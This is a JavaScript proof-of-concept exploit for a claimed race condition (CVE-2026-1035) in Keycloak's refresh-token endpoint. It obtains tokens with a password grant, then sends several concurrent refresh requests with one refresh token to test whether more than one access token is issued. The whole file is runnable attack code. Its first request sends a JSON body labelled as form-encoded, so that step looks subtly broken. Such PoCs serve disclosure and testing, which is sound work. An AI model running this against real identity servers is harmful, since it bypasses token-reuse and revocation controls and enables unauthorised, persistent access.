// CVE-2026-1035 PoC - Race Condition in Keycloak Refresh Token
// This PoC demonstrates concurrent refresh token requests
const http = require('http');
const config = {
keycloakUrl: 'http://target-keycloak:8080',
realm: 'test-realm',
clientId: 'test-client',
username: 'testuser',
password: 'testpassword'
};
async function getInitialTokens() {
const data = JSON.stringify({
grant_type: 'password',
client_id: config.clientId,
username: config.username,
password: config.password
});
const options = {
hostname: new URL(config.keycloakUrl).hostname,
port: 8080,
path: `/realms/${config.realm}/protocol/openid-connect/token`,
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': Buffer.byteLength(data)
}
};
return new Promise((resolve, reject) => {
const req = http.request(options, (res) => {
let body = '';
res.on('data', chunk => body += chunk);
res.on('end', () => {
try {
resolve(JSON.parse(body));
} catch (e) {
reject(e);
}
});
});
req.write(data);
req.end();
});
}
async function refreshToken(token) {
const data = `grant_type=refresh_token&refresh_token=${token}&client_id=${config.clientId}`;
const options = {
hostname: new URL(config.keycloakUrl).hostname,
port: 8080,
path: `/realms/${config.realm}/protocol/openid-connect/token`,
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': Buffer.byteLength(data)
}
};
return new Promise((resolve, reject) => {
const req = http.request(options, (res) => {
let body = '';
res.on('data', chunk => body += chunk);
res.on('end', () => {
try {
resolve(JSON.parse(body));
} catch (e) {
resolve({ error: e.message });
}
});
});
req.on('error', reject);
req.write(data);
req.end();
});
}
async function exploit() {
console.log('[+] Step 1: Obtaining initial tokens...');
const initialTokens = await getInitialTokens();
const refreshTokenValue = initialTokens.refresh_token;
console.log('[+] Got refresh token:', refreshTokenValue.substring(0, 20) + '...');
console.log('[+] Step 2: Sending concurrent refresh requests (Race Condition)...');
const concurrentRequests = 5;
const promises = [];
for (let i = 0; i < concurrentRequests; i++) {
promises.push(refreshToken(refreshTokenValue));
}
const results = await Promise.allSettled(promises);
console.log('\n[+] Results:');
let successCount = 0;
results.forEach((result, index) => {
if (result.status === 'fulfilled' && result.value.access_token) {
successCount++;
console.log(` Request ${index + 1}: SUCCESS - Got access_token`);
} else if (result.status === 'fulfilled' && result.value.error) {
console.log(` Request ${index + 1}: FAILED - ${result.value.error_description || result.value.error}`);
} else {
console.log(` Request ${index + 1}: ERROR`);
}
});
if (successCount > 1) {
console.log(`\n[!] VULNERABLE: ${successCount} tokens obtained from single refresh token!`);
console.log('[!] Race condition confirmed - refresh token reuse policy bypassed');
} else {
console.log('\n[+] NOT VULNERABLE: Only one token obtained (expected behavior)');
}
}
exploit().catch(console.error);